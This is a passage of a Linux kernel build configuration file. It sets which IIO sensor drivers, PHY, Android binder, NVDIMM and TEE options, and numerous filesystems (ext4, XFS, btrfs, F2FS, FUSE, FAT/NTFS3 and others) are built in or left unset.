# CONFIG_ADIS16201 is not set
# CONFIG_ADIS16209 is not set
# CONFIG_ADXL313_I2C is not set
# CONFIG_ADXL313_SPI is not set
# CONFIG_ADXL345_I2C is not set
# CONFIG_ADXL345_SPI is not set
# CONFIG_ADXL355_I2C is not set
# CONFIG_ADXL355_SPI is not set
# CONFIG_ADXL367_SPI is not set
# CONFIG_ADXL367_I2C is not set
# CONFIG_ADXL372_SPI is not set
# CONFIG_ADXL372_I2C is not set
# CONFIG_ADXL380_SPI is not set
# CONFIG_ADXL380_I2C is not set
# CONFIG_BMA180 is not set
# CONFIG_BMA220 is not set
# CONFIG_BMA400 is not set
# CONFIG_BMC150_ACCEL is not set
# CONFIG_BMI088_ACCEL is not set
# CONFIG_DA280 is not set
# CONFIG_DA311 is not set
# CONFIG_DMARD06 is not set
# CONFIG_DMARD09 is not set
# CONFIG_DMARD10 is not set
# CONFIG_FXLS8962AF_I2C is not set
# CONFIG_FXLS8962AF_SPI is not set
CONFIG_HID_SENSOR_ACCEL_3D=y
# CONFIG_IIO_ST_ACCEL_3AXIS is not set
# CONFIG_IIO_KX022A_SPI is not set
# CONFIG_IIO_KX022A_I2C is not set
# CONFIG_KXSD9 is not set
# CONFIG_KXCJK1013 is not set
# CONFIG_MC3230 is not set
# CONFIG_MMA7455_I2C is not set
# CONFIG_MMA7455_SPI is not set
# CONFIG_MMA7660 is not set
# CONFIG_MMA8452 is not set
# CONFIG_MMA9551 is not set
# CONFIG_MMA9553 is not set
# CONFIG_MSA311 is not set
# CONFIG_MXC4005 is not set
# CONFIG_MXC6255 is not set
# CONFIG_SCA3000 is not set
# CONFIG_SCA3300 is not set
# CONFIG_STK8312 is not set
# CONFIG_STK8BA50 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD4000 is not set
# CONFIG_AD4030 is not set
# CONFIG_AD4080 is not set
# CONFIG_AD4130 is not set
# CONFIG_AD4134 is not set
# CONFIG_AD4170_4 is not set
# CONFIG_AD4695 is not set
# CONFIG_AD7091R5 is not set
# CONFIG_AD7091R8 is not set
# CONFIG_AD7124 is not set
# CONFIG_AD7173 is not set
# CONFIG_AD7191 is not set
# CONFIG_AD7192 is not set
# CONFIG_AD7266 is not set
# CONFIG_AD7280 is not set
# CONFIG_AD7291 is not set
# CONFIG_AD7292 is not set
# CONFIG_AD7298 is not set
# CONFIG_AD7380 is not set
# CONFIG_AD7476 is not set
# CONFIG_AD7606_IFACE_PARALLEL is not set
# CONFIG_AD7606_IFACE_SPI is not set
# CONFIG_AD7766 is not set
# CONFIG_AD7768_1 is not set
# CONFIG_AD7779 is not set
# CONFIG_AD7780 is not set
# CONFIG_AD7791 is not set
# CONFIG_AD7793 is not set
# CONFIG_AD7887 is not set
# CONFIG_AD7923 is not set
# CONFIG_AD7944 is not set
# CONFIG_AD7949 is not set
# CONFIG_AD799X is not set
# CONFIG_AD9467 is not set
# CONFIG_ADE9000 is not set
# CONFIG_CC10001_ADC is not set
CONFIG_DLN2_ADC=y
# CONFIG_ENVELOPE_DETECTOR is not set
# CONFIG_GEHC_PMC_ADC is not set
# CONFIG_HI8435 is not set
# CONFIG_HX711 is not set
# CONFIG_INA2XX_ADC is not set
# CONFIG_LTC2309 is not set
# CONFIG_LTC2471 is not set
# CONFIG_LTC2485 is not set
# CONFIG_LTC2496 is not set
# CONFIG_LTC2497 is not set
# CONFIG_MAX1027 is not set
# CONFIG_MAX11100 is not set
# CONFIG_MAX1118 is not set
# CONFIG_MAX11205 is not set
# CONFIG_MAX11410 is not set
# CONFIG_MAX1241 is not set
# CONFIG_MAX1363 is not set
# CONFIG_MAX14001 is not set
# CONFIG_MAX34408 is not set
# CONFIG_MAX9611 is not set
# CONFIG_MCP320X is not set
# CONFIG_MCP3422 is not set
# CONFIG_MCP3564 is not set
# CONFIG_MCP3911 is not set
# CONFIG_MEDIATEK_MT6360_ADC is not set
# CONFIG_MEDIATEK_MT6370_ADC is not set
# CONFIG_NAU7802 is not set
# CONFIG_NCT7201 is not set
# CONFIG_PAC1921 is not set
# CONFIG_PAC1934 is not set
# CONFIG_ROHM_BD79112 is not set
# CONFIG_ROHM_BD79124 is not set
# CONFIG_RICHTEK_RTQ6056 is not set
# CONFIG_SD_ADC_MODULATOR is not set
# CONFIG_TI_ADC081C is not set
# CONFIG_TI_ADC0832 is not set
# CONFIG_TI_ADC084S021 is not set
# CONFIG_TI_ADC108S102 is not set
# CONFIG_TI_ADC12138 is not set
# CONFIG_TI_ADC128S052 is not set
# CONFIG_TI_ADC161S626 is not set
# CONFIG_TI_ADS1015 is not set
# CONFIG_TI_ADS1018 is not set
# CONFIG_TI_ADS1100 is not set
# CONFIG_TI_ADS1119 is not set
# CONFIG_TI_ADS124S08 is not set
# CONFIG_TI_ADS1298 is not set
# CONFIG_TI_ADS131E08 is not set
# CONFIG_TI_ADS131M02 is not set
# CONFIG_TI_ADS7138 is not set
# CONFIG_TI_ADS7924 is not set
# CONFIG_TI_ADS7950 is not set
# CONFIG_TI_ADS8344 is not set
# CONFIG_TI_ADS8688 is not set
# CONFIG_TI_LMP92064 is not set
# CONFIG_TI_TLC4541 is not set
# CONFIG_TI_TSC2046 is not set
# CONFIG_TWL4030_MADC is not set
# CONFIG_TWL6030_GPADC is not set
# CONFIG_VF610_ADC is not set
CONFIG_VIPERBOARD_ADC=y
# CONFIG_XILINX_XADC is not set
# end of Analog to digital converters

#
# Analog to digital and digital to analog converters
#
# CONFIG_AD74115 is not set
# CONFIG_AD74413R is not set
# end of Analog to digital and digital to analog converters

#
# Analog Front Ends
#
# CONFIG_IIO_RESCALE is not set
# end of Analog Front Ends

#
# Amplifiers
#
# CONFIG_AD8366 is not set
# CONFIG_ADA4250 is not set
# CONFIG_ADL8113 is not set
# CONFIG_HMC425 is not set
# end of Amplifiers

#
# Capacitance to digital converters
#
# CONFIG_AD7150 is not set
# CONFIG_AD7746 is not set
# end of Capacitance to digital converters

#
# Chemical Sensors
#
# CONFIG_AOSONG_AGS02MA is not set
# CONFIG_ATLAS_PH_SENSOR is not set
# CONFIG_ATLAS_EZO_SENSOR is not set
# CONFIG_BME680 is not set
# CONFIG_CCS811 is not set
# CONFIG_ENS160 is not set
# CONFIG_IAQCORE is not set
# CONFIG_MHZ19B is not set
# CONFIG_PMS7003 is not set
# CONFIG_SCD30_CORE is not set
# CONFIG_SCD4X is not set
# CONFIG_SEN0322 is not set
# CONFIG_SENSIRION_SGP30 is not set
# CONFIG_SENSIRION_SGP40 is not set
# CONFIG_SPS30_I2C is not set
# CONFIG_SPS30_SERIAL is not set
# CONFIG_SENSEAIR_SUNRISE_CO2 is not set
# CONFIG_VZ89X is not set
# end of Chemical Sensors

#
# Hid Sensor IIO Common
#
CONFIG_HID_SENSOR_IIO_COMMON=y
CONFIG_HID_SENSOR_IIO_TRIGGER=y
# end of Hid Sensor IIO Common

#
# IIO SCMI Sensors
#
# end of IIO SCMI Sensors

#
# SSP Sensor Common
#
# CONFIG_IIO_SSP_SENSORHUB is not set
# end of SSP Sensor Common

#
# Digital to analog converters
#
# CONFIG_AD3530R is not set
# CONFIG_AD3552R_HS is not set
# CONFIG_AD3552R is not set
# CONFIG_AD5064 is not set
# CONFIG_AD5360 is not set
# CONFIG_AD5380 is not set
# CONFIG_AD5421 is not set
# CONFIG_AD5446_SPI is not set
# CONFIG_AD5446_I2C is not set
# CONFIG_AD5449 is not set
# CONFIG_AD5592R is not set
# CONFIG_AD5593R is not set
# CONFIG_AD5504 is not set
# CONFIG_AD5624R_SPI is not set
# CONFIG_AD9739A is not set
# CONFIG_LTC2688 is not set
# CONFIG_AD5686_SPI is not set
# CONFIG_AD5696_I2C is not set
# CONFIG_AD5755 is not set
# CONFIG_AD5758 is not set
# CONFIG_AD5761 is not set
# CONFIG_AD5764 is not set
# CONFIG_AD5766 is not set
# CONFIG_AD5770R is not set
# CONFIG_AD5791 is not set
# CONFIG_AD7293 is not set
# CONFIG_AD7303 is not set
# CONFIG_AD8460 is not set
# CONFIG_AD8801 is not set
# CONFIG_BD79703 is not set
# CONFIG_CIO_DAC is not set
# CONFIG_DPOT_DAC is not set
# CONFIG_DS4424 is not set
# CONFIG_LTC1660 is not set
# CONFIG_LTC2632 is not set
# CONFIG_LTC2664 is not set
# CONFIG_M62332 is not set
# CONFIG_MAX517 is not set
# CONFIG_MAX22007 is not set
# CONFIG_MAX5522 is not set
# CONFIG_MAX5821 is not set
# CONFIG_MCP4725 is not set
# CONFIG_MCP4728 is not set
# CONFIG_MCP47FEB02 is not set
# CONFIG_MCP4821 is not set
# CONFIG_MCP4922 is not set
# CONFIG_TI_DAC082S085 is not set
# CONFIG_TI_DAC5571 is not set
# CONFIG_TI_DAC7311 is not set
# CONFIG_TI_DAC7612 is not set
# CONFIG_VF610_DAC is not set
# end of Digital to analog converters

#
# IIO dummy driver
#
# end of IIO dummy driver

#
# Filters
#
# CONFIG_ADMV8818 is not set
# end of Filters

#
# Frequency Synthesizers DDS/PLL
#

#
# Clock Generator/Distribution
#
# CONFIG_AD9523 is not set
# end of Clock Generator/Distribution

#
# Phase-Locked Loop (PLL) frequency synthesizers
#
# CONFIG_ADF4350 is not set
# CONFIG_ADF4371 is not set
# CONFIG_ADF4377 is not set
# CONFIG_ADMFM2000 is not set
# CONFIG_ADMV1013 is not set
# CONFIG_ADMV1014 is not set
# CONFIG_ADMV4420 is not set
# CONFIG_ADRF6780 is not set
# end of Phase-Locked Loop (PLL) frequency synthesizers
# end of Frequency Synthesizers DDS/PLL

#
# Digital gyroscope sensors
#
# CONFIG_ADIS16080 is not set
# CONFIG_ADIS16130 is not set
# CONFIG_ADIS16136 is not set
# CONFIG_ADIS16260 is not set
# CONFIG_ADXRS290 is not set
# CONFIG_ADXRS450 is not set
# CONFIG_BMG160 is not set
# CONFIG_FXAS21002C is not set
CONFIG_HID_SENSOR_GYRO_3D=y
# CONFIG_MPU3050_I2C is not set
# CONFIG_IIO_ST_GYRO_3AXIS is not set
# CONFIG_ITG3200 is not set
# end of Digital gyroscope sensors

#
# Health Sensors
#

#
# Heart Rate Monitors
#
# CONFIG_AFE4403 is not set
# CONFIG_AFE4404 is not set
# CONFIG_MAX30100 is not set
# CONFIG_MAX30102 is not set
# end of Heart Rate Monitors
# end of Health Sensors

#
# Humidity sensors
#
# CONFIG_AM2315 is not set
# CONFIG_DHT11 is not set
# CONFIG_ENS210 is not set
# CONFIG_HDC100X is not set
# CONFIG_HDC2010 is not set
# CONFIG_HDC3020 is not set
CONFIG_HID_SENSOR_HUMIDITY=y
# CONFIG_HTS221 is not set
# CONFIG_HTU21 is not set
# CONFIG_SI7005 is not set
# CONFIG_SI7020 is not set
# end of Humidity sensors

#
# Inertial measurement units
#
# CONFIG_ADIS16400 is not set
# CONFIG_ADIS16460 is not set
# CONFIG_ADIS16475 is not set
# CONFIG_ADIS16480 is not set
# CONFIG_ADIS16550 is not set
# CONFIG_BMI160_I2C is not set
# CONFIG_BMI160_SPI is not set
# CONFIG_BMI270_I2C is not set
# CONFIG_BMI270_SPI is not set
# CONFIG_BMI323_I2C is not set
# CONFIG_BMI323_SPI is not set
# CONFIG_BOSCH_BNO055_SERIAL is not set
# CONFIG_BOSCH_BNO055_I2C is not set
# CONFIG_FXOS8700_I2C is not set
# CONFIG_FXOS8700_SPI is not set
# CONFIG_KMX61 is not set
# CONFIG_INV_ICM42600_I2C is not set
# CONFIG_INV_ICM42600_SPI is not set
# CONFIG_INV_ICM45600_I2C is not set
# CONFIG_INV_ICM45600_SPI is not set
# CONFIG_INV_MPU6050_I2C is not set
# CONFIG_INV_MPU6050_SPI is not set
# CONFIG_SMI240 is not set
# CONFIG_SMI330_I2C is not set
# CONFIG_SMI330_SPI is not set
# CONFIG_IIO_ST_LSM6DSX is not set
# CONFIG_IIO_ST_LSM9DS0 is not set
# end of Inertial measurement units

#
# Light sensors
#
# CONFIG_ACPI_ALS is not set
# CONFIG_ADJD_S311 is not set
# CONFIG_ADUX1020 is not set
# CONFIG_AL3000A is not set
# CONFIG_AL3010 is not set
# CONFIG_AL3320A is not set
# CONFIG_APDS9160 is not set
# CONFIG_APDS9300 is not set
# CONFIG_APDS9306 is not set
# CONFIG_APDS9960 is not set
# CONFIG_AS73211 is not set
# CONFIG_BH1745 is not set
# CONFIG_BH1750 is not set
# CONFIG_BH1780 is not set
# CONFIG_CM32181 is not set
# CONFIG_CM3232 is not set
# CONFIG_CM3323 is not set
# CONFIG_CM3605 is not set
# CONFIG_CM36651 is not set
# CONFIG_GP2AP002 is not set
# CONFIG_GP2AP020A00F is not set
# CONFIG_SENSORS_ISL29018 is not set
# CONFIG_SENSORS_ISL29028 is not set
# CONFIG_ISL29125 is not set
# CONFIG_ISL76682 is not set
CONFIG_HID_SENSOR_ALS=y
CONFIG_HID_SENSOR_PROX=y
# CONFIG_JSA1212 is not set
# CONFIG_ROHM_BU27034 is not set
# CONFIG_RPR0521 is not set
# CONFIG_LTR390 is not set
# CONFIG_LTR501 is not set
# CONFIG_LTRF216A is not set
# CONFIG_LV0104CS is not set
# CONFIG_MAX44000 is not set
# CONFIG_MAX44009 is not set
# CONFIG_NOA1305 is not set
# CONFIG_OPT3001 is not set
# CONFIG_OPT4001 is not set
# CONFIG_OPT4060 is not set
# CONFIG_PA12203001 is not set
# CONFIG_SI1133 is not set
# CONFIG_SI1145 is not set
# CONFIG_STK3310 is not set
# CONFIG_ST_UVIS25 is not set
# CONFIG_TCS3414 is not set
# CONFIG_TCS3472 is not set
# CONFIG_SENSORS_TSL2563 is not set
# CONFIG_TSL2583 is not set
# CONFIG_TSL2591 is not set
# CONFIG_TSL2772 is not set
# CONFIG_TSL4531 is not set
# CONFIG_US5182D is not set
# CONFIG_VCNL4000 is not set
# CONFIG_VCNL4035 is not set
# CONFIG_VEML3235 is not set
# CONFIG_VEML6030 is not set
# CONFIG_VEML6040 is not set
# CONFIG_VEML6046X00 is not set
# CONFIG_VEML6070 is not set
# CONFIG_VEML6075 is not set
# CONFIG_VL6180 is not set
# CONFIG_ZOPT2201 is not set
# end of Light sensors

#
# Magnetometer sensors
#
# CONFIG_AF8133J is not set
# CONFIG_AK8974 is not set
# CONFIG_AK8975 is not set
# CONFIG_AK09911 is not set
# CONFIG_ALS31300 is not set
# CONFIG_BMC150_MAGN_I2C is not set
# CONFIG_BMC150_MAGN_SPI is not set
# CONFIG_MAG3110 is not set
CONFIG_HID_SENSOR_MAGNETOMETER_3D=y
# CONFIG_MMC35240 is not set
# CONFIG_MMC5633 is not set
# CONFIG_IIO_ST_MAGN_3AXIS is not set
# CONFIG_INFINEON_TLV493D is not set
# CONFIG_SENSORS_HMC5843_I2C is not set
# CONFIG_SENSORS_HMC5843_SPI is not set
# CONFIG_SENSORS_RM3100_I2C is not set
# CONFIG_SENSORS_RM3100_SPI is not set
# CONFIG_SI7210 is not set
# CONFIG_TI_TMAG5273 is not set
# CONFIG_YAMAHA_YAS530 is not set
# end of Magnetometer sensors

#
# Multiplexers
#
# CONFIG_IIO_MUX is not set
# end of Multiplexers

#
# Inclinometer sensors
#
CONFIG_HID_SENSOR_INCLINOMETER_3D=y
CONFIG_HID_SENSOR_DEVICE_ROTATION=y
# end of Inclinometer sensors

#
# Triggers - standalone
#
# CONFIG_IIO_INTERRUPT_TRIGGER is not set
# CONFIG_IIO_SYSFS_TRIGGER is not set
# end of Triggers - standalone

#
# Linear and angular position sensors
#
CONFIG_HID_SENSOR_CUSTOM_INTEL_HINGE=y
# end of Linear and angular position sensors

#
# Digital potentiometers
#
# CONFIG_AD5110 is not set
# CONFIG_AD5272 is not set
# CONFIG_DS1803 is not set
# CONFIG_MAX5432 is not set
# CONFIG_MAX5481 is not set
# CONFIG_MAX5487 is not set
# CONFIG_MCP4018 is not set
# CONFIG_MCP4131 is not set
# CONFIG_MCP4531 is not set
# CONFIG_MCP41010 is not set
# CONFIG_TPL0102 is not set
# CONFIG_X9250 is not set
# end of Digital potentiometers

#
# Digital potentiostats
#
# CONFIG_LMP91000 is not set
# end of Digital potentiostats

#
# Pressure sensors
#
# CONFIG_ABP060MG is not set
# CONFIG_ABP2030PA_I2C is not set
# CONFIG_ABP2030PA_SPI is not set
# CONFIG_ROHM_BM1390 is not set
# CONFIG_BMP280 is not set
# CONFIG_DLHL60D is not set
# CONFIG_DPS310 is not set
CONFIG_HID_SENSOR_PRESS=y
# CONFIG_HP03 is not set
# CONFIG_HSC030PA is not set
# CONFIG_ICP10100 is not set
# CONFIG_MPL115_I2C is not set
# CONFIG_MPL115_SPI is not set
# CONFIG_MPL3115 is not set
# CONFIG_MPRLS0025PA_I2C is not set
# CONFIG_MPRLS0025PA_SPI is not set
# CONFIG_MS5611 is not set
# CONFIG_MS5637 is not set
# CONFIG_SDP500 is not set
# CONFIG_IIO_ST_PRESS is not set
# CONFIG_T5403 is not set
# CONFIG_HP206C is not set
# CONFIG_ZPA2326 is not set
# CONFIG_ADP810 is not set
# end of Pressure sensors

#
# Lightning sensors
#
# CONFIG_AS3935 is not set
# end of Lightning sensors

#
# Proximity and distance sensors
#
# CONFIG_D3323AA is not set
# CONFIG_HX9023S is not set
# CONFIG_IRSD200 is not set
# CONFIG_ISL29501 is not set
# CONFIG_LIDAR_LITE_V2 is not set
# CONFIG_MB1232 is not set
# CONFIG_PING is not set
# CONFIG_RFD77402 is not set
# CONFIG_SRF04 is not set
# CONFIG_SX9310 is not set
# CONFIG_SX9324 is not set
# CONFIG_SX9360 is not set
# CONFIG_SX9500 is not set
# CONFIG_SRF08 is not set
# CONFIG_VCNL3020 is not set
# CONFIG_VL53L0X_I2C is not set
# CONFIG_AW96103 is not set
# end of Proximity and distance sensors

#
# Resolver to digital converters
#
# CONFIG_AD2S90 is not set
# CONFIG_AD2S1200 is not set
# CONFIG_AD2S1210 is not set
# end of Resolver to digital converters

#
# Temperature sensors
#
# CONFIG_LTC2983 is not set
# CONFIG_MAXIM_THERMOCOUPLE is not set
CONFIG_HID_SENSOR_TEMP=y
# CONFIG_MLX90614 is not set
# CONFIG_MLX90632 is not set
# CONFIG_MLX90635 is not set
# CONFIG_TMP006 is not set
# CONFIG_TMP007 is not set
# CONFIG_TMP117 is not set
# CONFIG_TSYS01 is not set
# CONFIG_TSYS02D is not set
# CONFIG_MAX30208 is not set
# CONFIG_MAX31856 is not set
# CONFIG_MAX31865 is not set
# CONFIG_MCP9600 is not set
# end of Temperature sensors

# CONFIG_NTB is not set
# CONFIG_PWM is not set

#
# IRQ chip support
#
CONFIG_IRQCHIP=y
CONFIG_IRQ_MSI_LIB=y
# CONFIG_AL_FIC is not set
# CONFIG_XILINX_INTC is not set
# end of IRQ chip support

# CONFIG_IPACK_BUS is not set
CONFIG_RESET_CONTROLLER=y
# CONFIG_RESET_GPIO is not set
# CONFIG_RESET_INTEL_GW is not set
# CONFIG_RESET_SIMPLE is not set
# CONFIG_RESET_TI_SYSCON is not set
# CONFIG_RESET_TI_TPS380X is not set

#
# PHY Subsystem
#
CONFIG_GENERIC_PHY=y
# CONFIG_PHY_GOOGLE_USB is not set
CONFIG_USB_LGM_PHY=y
# CONFIG_PHY_CAN_TRANSCEIVER is not set
# CONFIG_PHY_NXP_PTN3222 is not set

#
# PHY drivers for Broadcom platforms
#
# CONFIG_BCM_KONA_USB2_PHY is not set
# end of PHY drivers for Broadcom platforms

# CONFIG_PHY_CADENCE_TORRENT is not set
# CONFIG_PHY_CADENCE_DPHY is not set
# CONFIG_PHY_CADENCE_DPHY_RX is not set
# CONFIG_PHY_CADENCE_SIERRA is not set
# CONFIG_PHY_CADENCE_SALVO is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
CONFIG_PHY_CPCAP_USB=y
# CONFIG_PHY_MAPPHONE_MDM6600 is not set
# CONFIG_PHY_OCELOT_SERDES is not set
CONFIG_PHY_QCOM_USB_HS=y
CONFIG_PHY_QCOM_USB_HSIC=y
CONFIG_PHY_SAMSUNG_USB2=y
CONFIG_PHY_TUSB1210=y
# CONFIG_PHY_INTEL_LGM_COMBO is not set
# CONFIG_PHY_INTEL_LGM_EMMC is not set
# end of PHY Subsystem

# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set

#
# Performance monitor support
#
# CONFIG_DWC_PCIE_PMU is not set
# end of Performance monitor support

CONFIG_RAS=y
CONFIG_USB4=y
# CONFIG_USB4_DEBUGFS_WRITE is not set
# CONFIG_USB4_DMA_TEST is not set

#
# Android
#
CONFIG_ANDROID_BINDER_IPC=y
CONFIG_ANDROID_BINDERFS=y
CONFIG_ANDROID_BINDER_DEVICES="binder0,binder1"
# end of Android

CONFIG_LIBNVDIMM=y
CONFIG_BLK_DEV_PMEM=y
CONFIG_ND_CLAIM=y
CONFIG_ND_BTT=y
CONFIG_BTT=y
CONFIG_ND_PFN=y
CONFIG_NVDIMM_PFN=y
CONFIG_NVDIMM_DAX=y
CONFIG_OF_PMEM=y
# CONFIG_RAMDAX is not set
CONFIG_NVDIMM_KEYS=y
# CONFIG_NVDIMM_SECURITY_TEST is not set
CONFIG_DAX=y
CONFIG_DEV_DAX=y
# CONFIG_DEV_DAX_PMEM is not set
# CONFIG_DEV_DAX_KMEM is not set
CONFIG_NVMEM=y
CONFIG_NVMEM_SYSFS=y
CONFIG_NVMEM_LAYOUTS=y

#
# Layout Types
#
# CONFIG_NVMEM_LAYOUT_SL28_VPD is not set
# CONFIG_NVMEM_LAYOUT_ONIE_TLV is not set
# CONFIG_NVMEM_LAYOUT_U_BOOT_ENV is not set
# end of Layout Types

# CONFIG_NVMEM_RMEM is not set
# CONFIG_NVMEM_U_BOOT_ENV is not set

#
# HW tracing support
#
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set
# end of HW tracing support

# CONFIG_FPGA is not set
# CONFIG_FSI is not set
CONFIG_TEE=y
CONFIG_TEE_DMABUF_HEAPS=y
CONFIG_OPTEE_STATIC_PROTMEM_POOL=y
# CONFIG_SIOX is not set
# CONFIG_SLIMBUS is not set
# CONFIG_INTERCONNECT is not set
CONFIG_COUNTER=y
# CONFIG_INTEL_QEP is not set
# CONFIG_INTERRUPT_CNT is not set
CONFIG_MOST=y
CONFIG_MOST_USB_HDM=y
# CONFIG_MOST_CDEV is not set
# CONFIG_MOST_SND is not set
# CONFIG_PECI is not set
# CONFIG_HTE is not set
# end of Device Drivers

#
# File systems
#
CONFIG_DCACHE_WORD_ACCESS=y
CONFIG_VALIDATE_FS_PARSER=y
CONFIG_FS_IOMAP=y
CONFIG_FS_STACK=y
CONFIG_BUFFER_HEAD=y
CONFIG_LEGACY_DIRECT_IO=y
# CONFIG_EXT2_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_JFS_FS=y
CONFIG_JFS_POSIX_ACL=y
CONFIG_JFS_SECURITY=y
CONFIG_JFS_DEBUG=y
# CONFIG_JFS_STATISTICS is not set
CONFIG_XFS_FS=y
# CONFIG_XFS_SUPPORT_V4 is not set
# CONFIG_XFS_SUPPORT_ASCII_CI is not set
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
# CONFIG_XFS_ONLINE_SCRUB is not set
# CONFIG_XFS_WARN is not set
# CONFIG_XFS_DEBUG is not set
CONFIG_GFS2_FS=y
CONFIG_GFS2_FS_LOCKING_DLM=y
CONFIG_OCFS2_FS=y
CONFIG_OCFS2_FS_O2CB=y
CONFIG_OCFS2_FS_USERSPACE_CLUSTER=y
CONFIG_OCFS2_FS_STATS=y
# CONFIG_OCFS2_DEBUG_MASKLOG is not set
CONFIG_OCFS2_DEBUG_FS=y
CONFIG_BTRFS_FS=y
CONFIG_BTRFS_FS_POSIX_ACL=y
# CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set
# CONFIG_BTRFS_DEBUG is not set
CONFIG_BTRFS_ASSERT=y
# CONFIG_BTRFS_EXPERIMENTAL is not set
CONFIG_NILFS2_FS=y
CONFIG_F2FS_FS=y
CONFIG_F2FS_STAT_FS=y
CONFIG_F2FS_FS_XATTR=y
CONFIG_F2FS_FS_POSIX_ACL=y
CONFIG_F2FS_FS_SECURITY=y
CONFIG_F2FS_CHECK_FS=y
CONFIG_F2FS_FAULT_INJECTION=y
CONFIG_F2FS_FS_COMPRESSION=y
CONFIG_F2FS_FS_LZO=y
CONFIG_F2FS_FS_LZORLE=y
CONFIG_F2FS_FS_LZ4=y
CONFIG_F2FS_FS_LZ4HC=y
CONFIG_F2FS_FS_ZSTD=y
# CONFIG_F2FS_IOSTAT is not set
# CONFIG_F2FS_UNFAIR_RWSEM is not set
CONFIG_ZONEFS_FS=y
CONFIG_FS_DAX=y
CONFIG_FS_DAX_PMD=y
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_EXPORTFS_BLOCK_OPS=y
CONFIG_FILE_LOCKING=y
CONFIG_FS_ENCRYPTION=y
CONFIG_FS_ENCRYPTION_ALGS=y
# CONFIG_FS_ENCRYPTION_INLINE_CRYPT is not set
CONFIG_FS_VERITY=y
CONFIG_FS_VERITY_BUILTIN_SIGNATURES=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
CONFIG_FANOTIFY_ACCESS_PERMISSIONS=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=y
# CONFIG_QFMT_V1 is not set
CONFIG_QFMT_V2=y
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=y
CONFIG_FUSE_FS=y
CONFIG_CUSE=y
CONFIG_VIRTIO_FS=y
CONFIG_FUSE_DAX=y
# CONFIG_FUSE_PASSTHROUGH is not set
# CONFIG_FUSE_IO_URING is not set
CONFIG_OVERLAY_FS=y
CONFIG_OVERLAY_FS_REDIRECT_DIR=y
CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW=y
CONFIG_OVERLAY_FS_INDEX=y
# CONFIG_OVERLAY_FS_NFS_EXPORT is not set
# CONFIG_OVERLAY_FS_XINO_AUTO is not set
# CONFIG_OVERLAY_FS_METACOPY is not set
CONFIG_OVERLAY_FS_DEBUG=y

#
# Caches
#
CONFIG_NETFS_SUPPORT=y
# CONFIG_NETFS_STATS is not set
# CONFIG_NETFS_DEBUG is not set
CONFIG_FSCACHE=y
# CONFIG_FSCACHE_STATS is not set
CONFIG_CACHEFILES=y
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_ERROR_INJECTION is not set
# CONFIG_CACHEFILES_ONDEMAND is not set
# end of Caches

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=y
# end of CD-ROM/DVD Filesystems

#
# DOS/FAT/EXFAT/NT Filesystems
#
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_FAT_DEFAULT_UTF8 is not set
CONFIG_EXFAT_FS=y
CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8"
CONFIG_NTFS3_FS=y
# CONFIG_NTFS3_64BIT_CLUSTER is not set
CONFIG_NTFS3_LZX_XPRESS=y
CONFIG_NTFS3_FS_POSIX_ACL=y
# CONFIG_NTFS_FS is not set
# end of DOS/FAT/EXFAT/NT Filesystems

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_VMCORE=y
# CONFIG_PROC_VMCORE_DEVICE_DUMP is not set
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_PROC_CHILDREN=y
CONFIG_PROC_PID_ARCH_STATUS=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_TMPFS_INODE64 is not set
CONFIG_TMPFS_QUOTA=y
CONFIG_ARCH_SUPPORTS_HUGETLBFS=y
CONFIG_HUGETLBFS=y
# CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP_DEFAULT_ON is not set
CONFIG_HUGETLB_PAGE=y
CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y
CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING=y
CONFIG_ARCH_HAS_GIGANTIC_PAGE=y
CONFIG_CONFIGFS_FS=y
# end of Pseudo filesystems

CONFIG_MISC_FILESYSTEMS=y
CONFIG_ORANGEFS_FS=y
CONFIG_ADFS_FS=y
# CONFIG_ADFS_FS_RW is not set
CONFIG_AFFS_FS=y
CONFIG_ECRYPT_FS=y
CONFIG_ECRYPT_FS_MESSAGING=y
CONFIG_HFS_FS=y
CONFIG_HFSPLUS_FS=y
CONFIG_BEFS_FS=y
# CONFIG_BEFS_DEBUG is not set
CONFIG_BFS_FS=y
CONFIG_EFS_FS=y
CONFIG_JFFS2_FS=y
CONFIG_JFFS2_FS_DEBUG=0
CONFIG_JFFS2_FS_WRITEBUFFER=y
# CONFIG_JFFS2_FS_WBUF_VERIFY is not set
CONFIG_JFFS2_SUMMARY=y
CONFIG_JFFS2_FS_XATTR=y
CONFIG_JFFS2_FS_POSIX_ACL=y
